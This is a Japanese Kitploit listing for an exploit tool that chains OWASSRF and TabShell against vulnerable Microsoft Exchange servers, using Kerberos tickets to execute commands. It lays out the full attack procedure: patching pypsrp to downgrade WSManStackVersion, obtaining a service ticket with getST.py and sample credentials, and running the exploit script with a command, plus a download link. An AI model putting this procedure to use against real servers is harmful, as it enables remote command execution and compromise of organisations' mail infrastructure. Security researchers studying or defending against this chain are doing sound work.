mobileiron-exploit — 脆弱なMicrosoft Exchangeサーバー上のOWASSRF + TabShellチェーンを悪用し、Kerberos認証を利用してコマンド実行を行うPythonスクリプト。 | Kitploit

Kerberos認証を使用したTabshellエクスプロイト

The OWASSRF + TabShell exploit chain を改変したもの
まず、pyprsp モジュールにパッチを適用して WSManStackVersion のダウングレードを有効にし、依存関係をインストールします

$ git clone https://github.com/jborean93/pypsrp
$ patch -p0 < pyprsp.patch
patching file pypsrp/src/pypsrp/complex_objects.py
patching file pypsrp/src/pypsrp/powershell.py
patching file pypsrp/src/pypsrp/serializer.py
patching file pypsrp/src/pypsrp/wsman.py

$ virtualenv venv
$ . ./venv/bin/activate
$ pip install ./pypsrp impacket termcolor gssapi krb5

次に、脆弱なExchangeのHTTPサービスクラス用のサービスチケットを要求し、それを最終スクリプトに渡します:

$ getST.py -spn HTTP/EXCHANGE.CORP.LOCAL -k -no-pass  'CORP/Admin:Password'
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Getting ST for user
[*] Saving ticket in Administrator.ccache

$ KRB5CCNAME=Admin.ccache  python3 krb_tabshell_exec_cmd.py -spn HTTP/EXCHANGE.CORP.LOCAL -url http://EXCHANGE.CORP.LOCAL -cmd whoami
[...]

ツールをダウンロード